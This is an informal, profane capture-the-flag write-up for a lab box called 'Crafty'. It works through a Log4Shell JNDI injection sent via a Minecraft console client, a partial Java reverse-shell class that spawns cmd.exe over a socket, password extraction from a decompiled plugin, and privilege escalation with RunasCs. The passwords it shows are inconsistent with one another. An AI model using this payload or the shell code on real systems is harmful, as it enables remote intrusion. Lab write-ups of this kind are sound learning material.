Crafty (Easy)

Fuck this box's initial foothold actual fucking caner

Using CLI

Minecraft Console Client v1.20.2 - for MC 1.4.6 to 1.20.2 - Github.com/MCCTeam
GitHub build 245, built on 2024-01-30 from commit 1e60b61
Login :
Password(invisible): 
You chose to run in offline mode.
Server IP : <BOX IP HERE>
Retrieving Server Info...
Server version : 1.16.5 (protocol v754)
[MCC] Version is supported.
Logging in...
[MCC] Server is in offline mode.
[MCC] Server was successfully joined.
Type '/quit' to leave the server.
> 

Editing payload

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="cmd.exe";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),

Launching PoC

put poc payload in the CLI ${jndi:ldap://10.10.15.64:1389/a}

now we have a shell!! so lets get the user flag :))

lets see what else svc_minecraft has in his directory

my idea was to download the plugin thats alone because its what popped out the most to me, so im going to assume you downloaded the file too and lets see whats inside

lets download the jd-gui

Here we can see there is a VERY SUSSYAMONGUS password variable we can click on to see where it leads

Ofcourse the s67u84zKq8IXw to be very important so I wanted to open the class

WOOOOO PASWORD BABYYY

so we have established a credential s67u84zKq8IXw so, lets try and priv esc. now here i got stuck and didnt know how to escelate, ofcourse one of my first ideas was to find the su equivalent which is runas in this case itll be RunAsCs which our dear gracious enzu informed me about https://github.com/antonioCoco/RunasCs

in my case i decided to use Invoke-RunasCs.ps1

Invoke-RunasCs tstark playboy69 "cmd /c whoami" Invoke-RunasCs tstark playboy69 "cmd /c dir"

Last updated